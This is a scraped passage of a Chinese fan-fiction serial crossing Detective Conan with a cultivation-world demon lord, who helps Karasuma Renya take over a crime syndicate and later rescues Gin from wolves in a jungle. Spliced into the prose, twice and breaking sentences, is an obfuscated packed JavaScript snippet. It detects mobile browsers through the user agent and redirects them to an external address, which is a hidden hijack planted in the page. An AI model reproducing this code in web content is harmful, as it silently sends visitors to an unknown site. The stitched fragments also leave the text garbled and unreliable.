黑发青年听他这么问,好看的眉头微微蹙起,说话语调中带着显而易见的苦恼:“或许是因为我行事过于随心所欲,天道为了维护世界平衡,就降下一道天雷,把渡劫时的我给劈到这个世界。你发现我的时候,我身上应该有被雷劈的痕迹吧?” 乌丸莲耶点点头,表示确有此事,随后又像是想起了什么似的,眼神闪烁着奇异的光泽:“你刚刚说自己拥有不属于这个世界的力量,怎么证明你说话的真实性?” 黑发青年将他那副摩拳擦掌、跃跃欲试的模样收入眼中,用一种开玩笑的语气说道:“你如果不信的话,不妨与我比试一二。” 就在他话音刚落下的那一瞬间,乌丸莲耶先发制人地掏出了腰间的手枪,对准他的脑门果断狠厉地扣下了扳机。 两人此刻离得不远,而且这一击来得如此之快,按照常理来说,那个长得跟小白脸似的家伙绝无可能躲过他这一击。 但不知为何,即使死亡的威胁迫在眉睫,黑发青年也不曾露出惊恐害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑发青年像是拥有读心术一般,一眼看穿了他的想法,唇角弧度浅淡:“你放心好啦,你不会后悔救下我的。我这个人向来恩怨分明,你既然有恩于我,我便会尽己所能地回报你。” “所以,你有什么需要我帮忙的?只要在我力所能及的范围内,你尽管提。” 他双手撑在沙发边上,笑吟吟地看着这间屋子的主人,声线低沉温和,恍如恶魔低语,引诱人坠入深渊。 乌丸莲耶不得不承认,在他话音落下的瞬间,自己狠狠地心动了。这样强大的力量,如果能为己所用的话……他并未思考多久,就抬眼对上那双漂亮的金色眸子,神情无比认真地说:“此话当真?” 黑发青年见他神色动摇,轻笑着说:“我骗你干嘛?” 短暂的静默之后,乌丸莲耶目光定定地看着他,说出的话果断而又决绝:“我虽是一个帮派的底层小喽啰,但一直不甘屈居下位。现在我要你帮我干掉首领,助我篡位。” 他说这话的时候,眼中闪着野心勃勃的光,黑发青年听完之后,当即抚掌大笑:“皇帝轮流做,今年到我家,既然你有如此志气,我是说什么都要帮你了。” 话音方落,他身形微动,下一秒就出现在乌丸莲耶的跟前,在他愣神的功夫已经朝他伸出了手:“我好像还没自我介绍过吧,我叫原泽河,是个来自异国他乡的大魔头。” 哪有人这样介绍自己的……乌丸莲耶闻言失笑,而后在他期待的目光中伸出手与他交握:“我叫乌丸莲耶,很高兴认识你。” 23.保护我方劳模先生3 沉沉夜色下,位于某个高档别墅区的某栋别墅外,两个身形高挑的黑衣男子大摇大摆地闯进来,完全视门外的守卫为无物。 面对这两个不速之客,守在别墅外的保镖们纷纷向他们冲了过来,可惜还没来得及近身,就被一股巨大的力道掀飞出去,重重地摔在地上,浑身像散架了似的疼痛。 这两名不速之客正是乌丸莲耶以及那名自称是“来自异国他乡的大魔头”的黑发青年原泽河。 对方果然很信守承诺,说帮他篡位就帮他篡位,在问清首领的住所后,就带着他一刻也不耽搁地杀过去了。 在双方巨大的实力差距面前,这简直就是一场单方面的屠杀,那些所谓的精锐保镖在黑发青年面前却是如同稚子一般,毫无抵抗之力,他只是轻轻挥了挥手,这群人就溃不成军了。 乌丸莲耶默默将这一幕尽收眼底,不由自主地咽了咽口水,心中暗自庆幸:还好自己和他是同一阵营,不然与之为敌的话,就只有被他无情碾压的份儿。 得益于强大的异能,两人一路畅通无阻地走进了别墅,直奔首领所在的位置。为了避免己方像只无头苍蝇一样四处乱窜,乌丸莲耶随机劫持了一名男仆,装出一副凶神恶煞的模样逼他给自己带路。 面对生命安全的威胁,男仆想都没有想就屈从了,战战兢兢的给两人引路。两人顺着他的指引七拐八拐,终于在走了十几分钟之后,顺利找到了目标对象所在的房间。 他们彼此对视一眼,而后直接推开门闯了进去。在推开门的那一刹那,他们与一名正坐在书桌后处理公文的中年男子对上视线,乌丸莲耶曾经远远看过组织首领一眼,几乎瞬间就确定了面前这人的身份。 乌丸莲耶嘴角一勾,露出了一抹胜利者的微笑,而后不紧不慢地迈着步子进来,在对方错愕的眼神中,友好的向他打了一个招呼:“首领大人,晚上好啊。” 面前的两人未经通传,就这么贸贸然闯进他的书房里,身后还跟着一个吓得两股战战的仆从,组织的首领好歹在道上混了这么多年,瞬间就明白过来发生了什么事,但就算现在明白过来也无济于事,两人敢赤手空拳闯进来,守在外面的保镖们估计早就被他们做掉了。 目前形势显然于自己极为不利,男人深谙识时务者为俊杰的道理,当即从书桌后站起身来,走到他面前单膝跪下,低下头说自己愿意臣服,乞求他能放自己一条生路。 乌丸莲耶见他不做丝毫抵抗,满意地轻勾唇角,而后伸手将他扶起来,表示自己可以饶他一命,但这一切的前提是他愿意放弃组织的所有权,并将其移交给自己。 原泽河对两人的对话并不感兴趣,一直静静地站在一旁,默默地打量着周围的一切。 在他神游物外的时候,原本正和前任首领谈条件的乌丸莲耶忽然把视线放到他身上,冷不丁开口:“原先生,我改变主意了,这个首领之位还是让给你吧。” 恍惚间闻听此言,原泽河的思绪被猛地拉回到了现实之中,他过了好一会才消化完这句话,诧异地看着乌丸莲耶,虽未开口,那双眼眸里却明明白白写着:“你怎么突然改变主意了?” 接收到他问询的眼神,乌丸莲耶从容不迫地回答:“干我们这行的向来以实力为尊,而你比我见过的任何一个人都要强大,如果由你来担任这个组织的首领,想必过不了多久,组织就能做大做强,而我也能从中分一杯羹,想想都觉得划算。” 他一股脑地说出这番话后,小心翼翼地观察起黑发青年的脸色来,生怕他流露出一丝一毫的拒绝之意,一颗心仿佛被无形的细线牵扯,跟着对方的神色波动变得七上八下的。 不知过了多久,久到乌丸莲耶以为对方不会回答时,原泽河终于开口,说出了进入书房以后的第一句话:“好啊。” 听到他的回答,乌丸莲耶那颗提到嗓子眼的心才总算是落回原位,他暗自松了一口气,而后冲面前的黑发青年做出一个手势,示意对方坐到书桌后面的办公椅上。 原泽河轻轻“嗯”了一声,从善如流地坐在那个位子上,视线逐一扫过面前恭恭敬敬站成一排的几个人,脸上那点散漫的笑意渐渐收敛,原本俊美锋利的五官便透出几分不怒自威的慑人。 “从今天起,我就是你们的新首领了。” * 思绪飘回到现实,原泽河盯着眼前这个满头银发的老人家,一时心潮起伏,百感交集,不由感慨了一句:“时间过得真是快呀,有些故事就好像发生在昨天一样。” 然而对于他的这句感慨,乌丸莲耶却不像之前那样及时回复,他脸上兀自带着回忆的神色,但呼吸已经不知何时停止了。 原泽河似乎是明白了什么般,垂眸注视着自己在这个世界上结识的第一个朋友,那张精致的面容上罕见地露出了一丝伤感之色。像是过了半个世纪那么长的时间,他沉默着伸出手,替那个年逾百岁的老人轻轻阖上了双眼。 “乌丸,你放心,你交代给我的事,我会办妥的。” 丢下这句重若千钧的话后,他深深地看了这位老友最后一眼,似乎要将他的五官牢牢记在心里。半晌过后,他长身而起,然后头也不回地离开了这间卧房。 几天后,别墅附近的一片墓地。 原泽河站在水泥地板上,沉默地看着面前白色的大理石墓碑,神情有些恍惚。忽然耳边传来一声细微的衣料摩擦声,他心念一动,忽然毫无预兆地扬声说道:“莎朗,你既然早就来了,为何不现身相见?” 话音落下后一阵沉默,漫长而持久的沉默过后,墓地左边的一棵大树后走出一位金发碧眼的年轻女人。在晚霞的照耀下,女人明眸皓齿,美艳不可方物,正是那位代号为贝尔摩德的“千面魔女”莎朗·温亚德。 听到自己的名字,贝尔摩德也不好再躲藏了,只得手捧着一束百合花从树后走了出来,一路走到墓碑前停下。她盯着那张与自己的脸有七八分相似的黑白照片看了好一会儿,才轻轻地放下手中的百合花。 做完这一切之后,她 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原泽河默不作声地看着她,许久才开口道:“我之所以叫住你,是想要告诉你,你的父亲在他临死前曾对我说过什么话。” 他的话音刚落下,贝尔摩德倏地睁开双眼,那双水绿色的眸子里满是意味不明的色彩。 原泽河将她的神色尽收眼底,先是微不可闻地叹息一声,而后略带伤感地说:“……他说自己对不起你,求我放你自由,作为对你的补偿,我答应他了。” 他说话的声音不大,却犹如一个焦雷在贝尔摩德头顶炸响,轰得她大脑嗡嗡作响,根本没办法思考。 原泽河的视线在她身上停顿片刻,随后一字一句缓慢地开口:“人之将死,其言也善。他自知此生亏欠你太多,没资格奢求你的原谅,这么做只是为了赎罪。” 有些事情发生了就是发生了,就像是被钉子刺穿的木板,即使拔出钉子,也会留下不可磨灭的痕迹。原泽河深知这一点,所以并不奢求贝尔摩德能原谅乌丸莲耶之前的所作所为。 “我知道你一直想要脱离组织,现在我如你所愿放你自由,不过你也要答应我,今后不能与我为敌。” 闻听此言,贝尔摩德的脸上浮现出一抹不易察觉的苦笑:“您这话不是在说笑吗?就算借我一百个胆子,我也不敢与您为敌。”她亲眼见识过Boss的恐怖之处,说这话并不作假。不夸张的说,整个黑衣组织就算一拥而上也未必是他的对手,她是有多想不开才跟他对着干? 听她这么说,原泽河笑了笑,正要开口,却忽然感知到什么,脸上的笑容瞬间褪去,神色前所未有地凝重起来。下一秒,他身形一闪,就消失在了原地。 事情发生的毫无预兆,贝尔摩德前脚还在和他说话,后脚就看着他消失在自己眼前,一时间有些怔愣住,过了好一会才回过神来。 她和Boss相识多年,还从未见过他这般焦急忧心的模样,刚才到底是怎么一回事? 望着他消失的方向,贝尔摩德不禁陷入了沉思。 24.保护我方劳模先生4 东南亚某国的一处原始森林内,银发绿眸的黑衣杀手穿梭在密林中。 高大的树木枝叶繁茂,几乎遮蔽了整个天空,连光线都很难透进来,整片树林笼罩在阴森的氛围里,四周安静得连一声鸟鸣也无,寂静中只有男人的脚步声在丛林里回响。 幽暗的密林里,嗜血的猛兽正蛰伏在暗处,一双双眼睛虎视眈眈地盯着他,随时准备发动攻击。 这名杀手便是黑衣组织的骨干成员琴酒,而他之所以会沦落到这破地方,还得从一周前说起。 一周前,Boss突然有紧急事务要处理,匆匆向他道别后便坐上飞机离开了。次日清晨他就接到了一个S级任务,组织派他前往东南亚的某个地方出售武器。 S级任务一直都是危险程度五颗星的任务,任务本身的环境条件非常恶劣,因此极少有组织成员愿意接S级任务,就算被上级分到了S级任务,也是能推就推,最后重新分配到琴酒头上。 众所周知,组织的Top Killer头脑冷静而且身手了得,最重要的是干活认真负责,在遇到危险的时候总是愿意冲在最前面,因而承包了绝大多数的S级任务,这一次也不例外。 本次的交易对象是当地某股黑暗势力的首领,琴酒负责把武器运送出去,然后敦促对方把剩下的货款给组织结清。岂料到了一手交钱一手交货的环节,对方却忽然翻脸不认人,把手中的酒杯往地下一掷,埋伏四周的手下便纷纷现身,举起手中的枪对准琴酒一行人的脑袋。 对方这行径摆明了是想黑吃黑,但碍于面前敌强我弱敌众我寡的形势,琴酒只好暂时放弃抵抗,任凭那群爪牙搜走他身上的武器,再用麻绳将他的双手捆在一起,把他像押犯人一样押进这片密林里。 行进过程中,琴酒从他们的交谈中得知,这片林子里野兽特别多,进来的人十有八九会被吃得连骨头都不剩下,被搜走武器捆住双手的他也定不会例外。 时间一分一秒地过去,眼看着距离危险越来越近,琴酒非但没有惊慌失措,反而飞速地运转大脑,全力思索如何逃出生天。 等到这片林子只剩下自己一个人的时候,他摸出藏在腰带间防身的刀片,割开了绑住自己双手的麻绳,双手重获自由的第一时间就是捡起脚下的一根粗树枝护身。 之后的事实证明了那些家伙所说的并非假话,这林子的确野兽众多、凶险万分,要不是他身手过人,只怕早就被野兽分食,连具全尸都留不下。 按捺不住扑向他的猛兽一个接着一个,银发杀手挥舞着手中的树枝将之击退,普普通通的树枝,在他手中却像是世界上最锋利的武器,将一大群各色猛兽杀得七零八落。 将手中那根削尖的树枝稳准狠地捅进猛虎脆弱的腹部,琴酒冷眼看着倒在地上抽搐不止的野兽,直到对方彻底没了生息,才用拇指揩掉脸颊上溅到的血渍。 这是迄今为止第五头被他击杀的野兽,可想而知后面还有很多,他就算再厉害,也没有超脱人类的范畴,再这么杀下去,迟早累得精疲力竭,到那时势必会被群兽撕成碎片,连着血肉吞进肚子里。 所以这样下去不是办法,当务之急是尽快找到出路,赶紧离开这个危机四伏,一不小心就会丢掉性命的地方。 眼看着天色渐渐暗了下来,银发杀手只能加快脚下的速度,试图在天色完全暗下去之前找到出路。尽管身处险境,性命危在旦夕,但男人那张冷硬的脸上找不到一丝崩溃绝望的神色,那双碧色的眸子里依旧平静,像是春日下波澜不惊的湖面。 他还不想死,绝不可能就这样坐以待毙,他……还没有见到最想要见到的人,如果他这次真能活着从这里出去,他一定要找到那个人,把自己的心意告诉他。 这样的念头支撑着琴酒在这危机四伏的密林中生存下去,男人撑着疲惫的身子,继续疾行在林间的荒僻小路上。就在他忙着找出路时,一股不详的预感忽然间浮现在心头,他感受到巨大的危机正在向自己快速逼近,猛地停下脚步,握紧了手中唯一的武器。 仿佛为了验证他的预感似的,下一秒,蛰伏在暗处的狼群就朝他亮出了自己的爪牙,而后主动散开,对他形成了包围之势,不过一会便已经将他围成了铁桶。 琴酒飞速地环顾了一圈四周,心中暗道不妙,这群狼少说也有二十几只,若是一拥而上,他今日恐怕就要折在这里了。 眼看着包围圈越来越小,琴酒心中十分清楚,接下来就是你死我活的背水一战了,如果不能冲出包围圈,他这辈子都无法见那个人一面了。 也不知是哪方先动的手,双方缠斗在了一起,琴酒凭借自己极佳的身体素质和多年来的战斗经验,即使在敌众我寡的情形下,也丝毫不落下风,甚至偶尔还能反杀一盘。 但他身手再好也只不过是肉体凡胎,终究会有体力耗尽的时刻,再这样下去,他必死无疑。 渐渐的,他的出招越来越迟钝,脚下闪避的速度也越来越慢,就在他险之又险地躲过了凶狠的致命一击时,另一只狼趁他不备将他扑倒在地,而后张开血盆大口就要咬掉他的头颅。 死亡的威胁近在咫尺,琴酒瞳孔紧缩,根本来不及思考,几乎是瞬间就作出了反应,将手中那根刚捡起的粗树枝死死卡住巨狼的血盆大口,暂时性地躲过一劫。 一人一狼就这样一直僵持着,谁也奈何不了谁,琴酒咬紧牙关与之展开最原始的力与力的对抗,死死抵住狼口的手上条条青筋暴起,肌肉线条清晰可见。 但这终究不是办法,眼睁睁看着那锋利的獠牙越发迫近,獠牙间分泌出的黏腻口水甚至滴到他身上,发出一阵刺鼻的腥臭味,向来爱干净的银发杀手强忍住干呕的不适感,脑海中迅速思索着该怎么摆脱困局。 忽然间胸口处烫了一下,琴酒先是错愕一瞬,接着似乎意识到了什么,用空闲的那只手拿出紧紧贴在胸口的项链,纤长的手指一遍遍摩挲着那颗赤红色的珠子。 他都快忘了自己身上还有这么个东西了。 Boss将它戴 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眼看着下一秒就要惨死狼口,被野兽分食,银发杀手的脸上却并未显露出丝毫害怕的神色,甚至连眉峰也没有挑动半分。也许是人之将死,他脑海里如同走马灯一样闪过很多画面,最后定格在了一个人的脸上。 唇边不自觉露出一抹苦笑,琴酒在心中暗叹一声,坏事做多了果然是要遭报应的,他最终还是没能活下来,不能再见到那个人,无法将自己的心意宣之于口。 死亡的威胁犹如一柄利剑悬浮在他的头顶,他认命地闭上双眼,等待着那柄利剑落下来,但他等了许久,那柄利剑却迟迟没有落下。 等待期间,他忽然听到一声令人牙酸的利刃刺进血肉的声音,紧接着噗的一声,他感觉到粘稠的液体喷溅在脸上,突如其来的温热触感让他大脑一片空白,几乎无法思考。 琴酒艰难地睁开被血糊住的双眼,映入眼帘的却是一副再熟悉不过的眉眼,那人并非远在天边,而是近在眼前。 他此刻脚踩着狼头,手中冰刃狠狠扎进那头狼的脖颈,过分漂亮的脸上带着毫不遮掩的杀意,整个人好似一把没有鞘的刀,稍有不慎就会被他见血封喉。 琴酒愣愣地看着那个本不该出现在这里的黑发青年,幽深的眼眸里泛着奇异的色彩。 直到今天,他才发现对方不同以往的一面,不是平常随性散漫的公子哥模样,也不是习惯了发号施令的上位者样子。 现在的他浑身杀意滔天,那双狭长的浅金色眸子凌厉又明亮,好似流转在剑刃上的点点寒芒,让人不敢逼视。 就在他愣神的功夫,那人将插进恶狼咽喉的冰刃缓缓拔出,而后抬脚踹开狼尸,伸出手将他一把拉起,温柔的声音中带着些许歉意:“Gin,对不起,我来晚了。” 听着那道无比熟悉的声音,看着那张无比熟悉的脸庞,琴酒满脑子都被一个念头占据了。 ——他没有骗自己,当自己遇到生命危险的时候,他真的马不停蹄赶来相救了。 25.保护我方劳模先生5 在感知到琴酒遇到生命危险后,原泽河瞳孔紧缩,当场就使出瞬身术,很快就到达了琴酒的所在之处。 站稳身形的同时,他看见一只体型庞大的野狼张开血盆大口朝琴酒咬了下去,全身血液瞬间凝固,来不及多想,身体便已经先于脑子冲了过去,把那头不知死活的畜生干净利落地解决掉了。 那匹恶狼挣扎了几下之后便彻底没了生息,他抬脚把尸体踹到一边,而后向琴酒伸出手,把他从地上拉起来,再将他从上到下从左到右仔仔细细检查了一遍,眉头始终没有放松的迹象。 这一天下来,琴酒虽然没死,却也不可能毫发无伤,此刻他全身上下没有一块好肉,伤口还在汩汩往外冒血,之所以能坚持到现在,全靠强大的意志力死撑着。 原泽河看着遍体鳞伤的银发杀手,心疼之余也暗自庆幸,还好自己有先见之明,早早就送了琴酒一颗唤灵珠,确保他遇到危险的时候,自己可以及时搭救。 如果没有这颗珠子,他只怕就要和自己的心上人从此阴阳两隔了。 本以为此生再也见不到的人突然出现在眼前,还将他从狼口救下来,琴酒定定地看着他对面的黑发青年,心中霎时涌起了千言万语,却又不知道从何说起。 就在他思绪纷杂的时候,腰间忽而被一只有力的手臂围绕,他下意识去看腰间,却是Boss伸出手揽住了他的腰。下一刻,他的身子便宛如一只大鸟般腾空而起,最后落在离他最近的一棵大树上。 将琴酒稳稳安置在一根粗壮的树枝上,原泽河如释重负般松了一口气,一直紧皱的眉头也舒展开来,他抬起手,替琴酒将凌乱的头发理顺,一边帮他整理头发一边说:“我知道你想问什么,等我把底下那群家伙解决掉了,再回答你也不迟。” 他说着,慢慢朝琴酒露出了一个笑容,琴酒看着他那副眉眼弯弯的样子,一时有些失神,直到耳边传来一声轻笑,他才后知后觉回过神来,脸上腾地红起一片。 幸好树上光线昏暗,看不清他脸上的红晕,向来冷漠无情心狠手辣的黑衣组织头号杀手在心底暗自庆幸了一番,然后故作镇定地抬起头,缓缓吐出四字:“我知道了。” 在他话音落下的那一刹那,原泽河收回摸他头发的手,施施然站起了身,居高临下地看着树下的狼群,脸上的笑意瞬间消失得无影无踪,取而代之的是毫无遮拦的杀意。 霎时间,树下群狼感受到铺天盖地的压迫感,想要逃却发现自己动弹不得,只能眼睁睁地看着凭空燃起的黑色火焰将它们吞噬,凄惨的嚎叫声不断的从它们喉咙里发出,阵阵焦糊之味瞬间便在空气中弥漫开来。 没过多久,惨叫声停了下来,四周回归寂静。一阵凉风徐徐吹来,将化作粉末的尸体吹得四处飘散。 解决掉那群恶狼之后,原泽河毫不在意地弹了弹衣服上沾染的灰尘,而后随手布了个保护结界,转身面对在他身后静静看着他的银发杀手。 两人互相看着对方,谁都没有开口说话,一阵尴尬的气氛在空中蔓延。好像过了半个世纪那么久,琴酒主动开口打破沉默:“Boss,您真的是这个世界的人吗?” 事实上,这个疑问从他亲眼见识到Boss远超常人的身手起,就像一粒种子般在他的心里生根发芽,经过刚才的事情之后,更是从树苗变成枝繁叶茂的参天大树。他再也无法欺骗自己,便乘此机会将心底的疑问托盘而出。 原泽河本打算把人追到手后再将自己的过去告诉他,但却没想到这一刻来的这么快。无声地叹了口气之后,他对上那双幽深的眼眸,语气十分认真地说道:“正如你所说,我的确不是这个世界的人,来到此地纯属意外。” 琴酒心中虽已有七八分猜测,但现在听到他亲口承认,还是不免有些吃惊,吃惊之余又有些莫名其妙的失落。 他先前只知道自己跟Boss身份地位悬殊,但咬咬牙努努力也不是不可以名正言顺待在他身旁,而直到现在他才意识到,他和Boss根本就是两个世界的人,这是一道再怎么努力也无法跨越的鸿沟。 压下心中纷乱的思绪,琴酒无言地看着面前之人,只觉他如同那镜中花水中月,虽近在眼前却难以触及。 注意到对方沮丧的表情,原泽河心里咯噔一声,说话的语气也带上了几分急促:“Gin,你干嘛露出这种表情?你想问什么只管问便是了,我一定知无不言,言无不尽!” 音落刹那,琴酒抬起头,定定地注视着他,碧色的眼眸倒映着他那张紧张兮兮的脸:“那您可否告诉我,您当初是怎么看上我的?” Boss作为另一个世界的人,在这个世界强到无往不利降维打击,更兼势力范围遍布黑白两道,身份尊贵地位超然,像他这样的人就算眼光高到天上去也是一件理所当然的事情,怎么会和他见了一面就看上他了? 他才不信什么一见钟情,如果Boss只是看脸,有的是年轻漂亮的男男女女排着队地供他挑选,完全没必要选择他这么一个既不年轻也不貌美的人作为床伴。 琴酒并不觉得自己身上有什么Boss可以图谋的东西,所以他想破脑袋也想不出,自己为何会在见面之初就被Boss特殊对待。 原泽河哪里知道他九曲十八弯的心思,此时此刻,他脑子里有两个小人在打架。 一个小人劝他赶紧把事情的前因后果说出来,对自己的心上人不应有所隐瞒,另一个小人则劝他千万不要说出来,不然的话,琴酒会觉得自己接近他动机不纯,从而对自己心生芥蒂,两人之间好不容易亲近起来的关系也将出现裂痕。 两个小人七嘴八舌的,吵得他头痛不已,最后的最后,他实在忍不住,猛地摇了摇头,将互相拉扯的两个小人从自己的脑海里甩出去,而后盯着琴酒的眼睛,一字一句说道:“既然你这么想知道,那 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眼见对方的神色果然有些动摇,他稍稍松了一口气,再接再厉道:“Gin,你要相信我是真的喜欢你,这辈子就想和你长长久久。”他说这话并非虚情假意,而是发自内心的纯粹。他骨子里是个冷漠无情的人,觉得爱情是个麻烦的东西,但一旦动心就会极度专情。 他本来一直坚信自己假以时日定能打动琴酒,让他对自己完全敞开心扉,但现在,他的信心开始动摇了。 琴酒现在已经弄清楚了他一开始接近他的目的,很难不对他产生恶感,认为他只是利用自己而已。 这个念头冒出的瞬间,原泽河的心一下子往下沉,在两个世界都是呼风唤雨的大人物的他,不知从何时起,竟也变得这么患得患失了。 琴酒将他的话一字不落全都听了进去,脸上的神情始终平淡,没有什么太大的波动,叫人猜不透他的真实想法。半晌过后,他忽然毫无预兆地转移了话题:“Boss原本的世界是什么样子的?” 似乎是没想到他会问这个问题,原泽河很明显地愣了一下,一时间拿不准对方在想什么。他斟酌了一下措辞,才认真地回道:“那个世界人妖鬼仙四界共生,奇珍异宝多不胜数。人被分成修士和凡人,修士生活在光怪陆离的修真界,能施展各种各样五花八门的法术,通常把得道飞升视为毕生追求的目标……” 许是好久没和人回忆往昔,他越讲越起劲,向琴酒绘声绘色地描述着他原本的世界。 琴酒看着Boss那副眉飞色舞的样子,眼底是他自己都没有察觉到的温柔,等到对方讲完最后一个字,他才不动声色地问道:“那Boss在那个世界是什么样的人?” 闻听此问,原泽河讶异地挑了挑眉,旋即微笑着说道:“不管在哪个世界,我都是注定要被勇者打败的魔王。” 看着他那一脸不以为耻反以为荣的表情,琴酒唇边不自觉地扬起一抹笑,默默地在心里回了一句:但在这个世界,我会始终站在您这一边,亲爱的魔王大人。 26.保护我方劳模先生6 清晨的阳光透过树梢洒在琴酒的发丝上,他慢慢睁开惺忪睡眼,下意识地环顾四周,却发现自己并没有在树上,而是倚靠着树干,身上还披着一件西装外套,而这件外套的主人却并未出现在他的视线里。 他心中一紧,脑子里浮现出的第一个念头是Boss丢下他跑了,但这个念头很快又被他给否决掉,下一秒,他心底响起一道无比坚定的声音——Boss绝对不会扔下他独自离开的,绝对绝对不会。 像是为了验证他的想法似的,片刻后,黑发金眸的俊美青年不知从哪出来,手中还捧着几个沾着水珠的新鲜野果。 见琴酒醒来,原泽河三步并作两步走到他面前,而后从洗好的新鲜果子中挑了一颗最红最大的递给他:“Gin,我给你摘了几枚野果,你先吃一枚垫垫肚子。” 琴酒愣愣地接过他递过来的果子,在他期待的视线中一口咬了下去,强烈的酸味瞬间在舌尖蔓延开来,迸发至大脑,他凭着强大的意志力才勉强维持住面上的表情。 极力压制住脸上的不自然,他冲着面前的人违心说道:“多谢Boss,果子很甜很好吃。” 原泽河听他这么说,笑得很开心,看着手中水灵灵的果子也低头咬了一口,整张脸顿时被酸得皱成一团。 等到口中的酸味彻底散去,他第一时间看向面前的银发杀手,见他一副强忍着笑意的样子,顿时知道自己中计了,当即双眉蹙起,语气微沉,佯装出气恼的模样:“Gin,你怎么睁眼说瞎话呢?” 琴酒难得见他吃瘪,再也忍不住笑出声来,眼见Boss板起脸来又立马收敛了笑意,表情无比严肃地说道:“我刚才也不算全然说谎,就算您把毒药递给我,我也会毫不犹豫地喝下去。” 他说完之后,直直地看向对面之人的双眼,原泽河却像是被他的目光烫到了一样,匆匆低下头去,掩映在黑发之下的耳朵不由自主地泛红。 Boss在人前从来都是一副游刃有余的样子,行为举止永远得体又从容,琴酒还是第一次看见他因为自己的一句话而害羞心动的样子,心里顿时像放了烟花一样,噼里啪啦的。 几枚果子下肚,两人的五脏庙暂时得到了慰藉,原泽河率先站起身,而后一把拉起坐在地上的琴酒,朝他扬唇一笑,温声说道:“好啦,休息也休息过了,肚子也填饱了,我这就带你出去。” 琴酒并不怀疑Boss口中话语的真实性,他就那样静静地看着对方,眼神里满是信任。 说完那句话,原泽河从怀中掏出一张朱砂符纸,迅速折成纸狗,而后将手里折好的纸狗往地上一丢。 琴酒见那纸狗刚一落地便如同有了生命一般活泼乱跳起来,脸上顿时露出难以掩饰的惊愕之色,不过他只是惊讶了片刻便恢复平静——在得知Boss是来自另一个世界的人后,他所能承受的阈值都提高了许多。 下一秒,Boss蹲下身子,对着那只纸狗不知低声说了一句什么,那只纸狗随即便像个大号子弹一样朝着某个方向冲去,他的手也在同一时间被Boss握住,两人深一脚浅一脚地跟了上去。 原泽河一边走一边对身旁的银发杀手开口解释:“这是游犬符,迷路时可以帮忙探路,我们只要跟着它就能走出这片林子了。”说到此处,他忽然想到一些不愉快的往事,侧头看向身旁的人,眼神幽幽:“当初你被樱井千影带走,我就是靠它找到你的。” 即便时隔多日,但他回想起当日的情景,心里仍是有些不是滋味,说话的语气也变得酸溜溜的:“当时我是真的很生气啊,自从当上这个组织的老大以来,我已经很久没有这么生气了。” 他自顾自地说着话,话里的醋味浓得快要溢出来,琴酒默不作声地听着,忽然用只有自己能听到的声音说了句:“其实您不必担心,我整个人都是属于您的。” 原泽河的思绪还陷在往事里,一时没听清他说了什么,不由放慢了脚步问道:“你刚刚说什么?” 两人视线交汇了几秒后,琴酒眨了眨眼睛,一脸若无其事地说道:“我什么也没说。” 原泽河半信半疑地看着他,见他脸上神色不似作伪,也就暂且相信了他的话,将方才的问话抛诸脑后,牵着他继续往前走,林间寂静,除了风吹树叶发出的沙沙响声,便只剩下两人有一搭没一搭的交谈声。 走了大概有两个小时,前方忽然亮起一道光,林子的出口就近在眼前,两人停下脚步对视一眼,眼中不约而同地露出惊喜之色。 等他们出了林子的时候,离中午饭点已经过去了快一个小时,原泽河抬头看了一眼高挂在空中的太阳,不紧不慢地开口:“我们现在首要的目标是在太阳落山前,找到适合歇脚的地方。” 琴酒赞同地点点头,两人脚下不停,又赶了几小时的路,终于在太阳落山前找到一家小旅馆。 看着那家近在眼前的小旅馆,两人眼中骤然亮起光芒,像是在炎热的沙漠中行走多日的旅人看到了梦寐以求的绿洲,惊喜之情溢于言表,当即便加快速度走了进去。 两人外形气质都很出众,前台小姐在他们刚踏进门的时候就注意到了他们,眼中闪过一抹毫不掩饰的惊艳之色。当前台这么多年,她什么俊男美女没见过,但眼前这两个人比她以前见过的所有人都好看。 因为所在国家是旅游国家,作为旅馆前台,她经常接待外国人,所以基本的英语还是会的。听说他们要开两间房,前台小姐的脸上露出了一点为难的表情:“两位先生,实在是非常抱歉,我们这里只有一间房了。” 原泽河闻言,不在意地摆摆手:“一间房就一间房,我们两个挤一晚就是了。” “但是……”前台小姐似乎有些难以启齿,不知道该如何解释,但在注意到两人交握的手后,她神色微妙地停滞了片刻,而后迅速说道,“那就委屈两位先生挤一晚了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938644|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她说完便从柜台后走出,领着两人上了二楼,走到走廊尽头的一间房前停下脚步,回身给了他们一张房卡便款款离开,离开之前还意味深长地看了他们一眼,看得两人皆是一头雾水。 用房卡刷开房间后,两人一前一后走了进去,这间房间虽然不大,但也算是麻雀虽小,五脏俱全,两人在外奔波了许久,此刻有了这么一个歇脚点还是很满意的。 把四周又环顾了一圈,原泽河最终将视线定格在琴酒身上,不动声色地将他打量了一番,十分体贴地问道:“Gin,你要不要先去洗个澡?” 琴酒看着他那双浅金色眼眸里认真的神色,最终还是点了点头。尽管Boss曾对自己施了一个清洁咒,但洗澡除了能清除身上的污渍,还具有消除疲劳的作用,这一天下来,他的的确确有些累了,也想赶紧洗个澡放松一下。 不一会儿浴室内传来淅淅沥沥的水声,原泽河走到沙发边坐下,给自己倒了一杯水,一边喝水一边对着手机屏幕戳戳点点。 百无聊赖地刷了一会手机,他摁灭手机屏幕,懒洋洋的视线漫无目的地四处游走,最后停留在浴室的门上。 浴室的玻璃门跟没有一样,从外面能看到里面的景象,银发杀手宽肩窄腰大长腿的完美身材清晰地倒映在玻璃之上,被水汽氤氲得隐隐约约,更惹人遐想了。 原泽河睁大双眼不可置信地盯着那道影影绰绰的身影,脑子里忽然闪过前台小姐那意味深长的眼神,顿时恍然大悟,什么都明白过来。 ——这间旅馆很可能是一家情人旅馆,专为热恋中的情侣设计,难怪那位前台小姐在听说他们要睡同一间房后,会露出那样的表情。 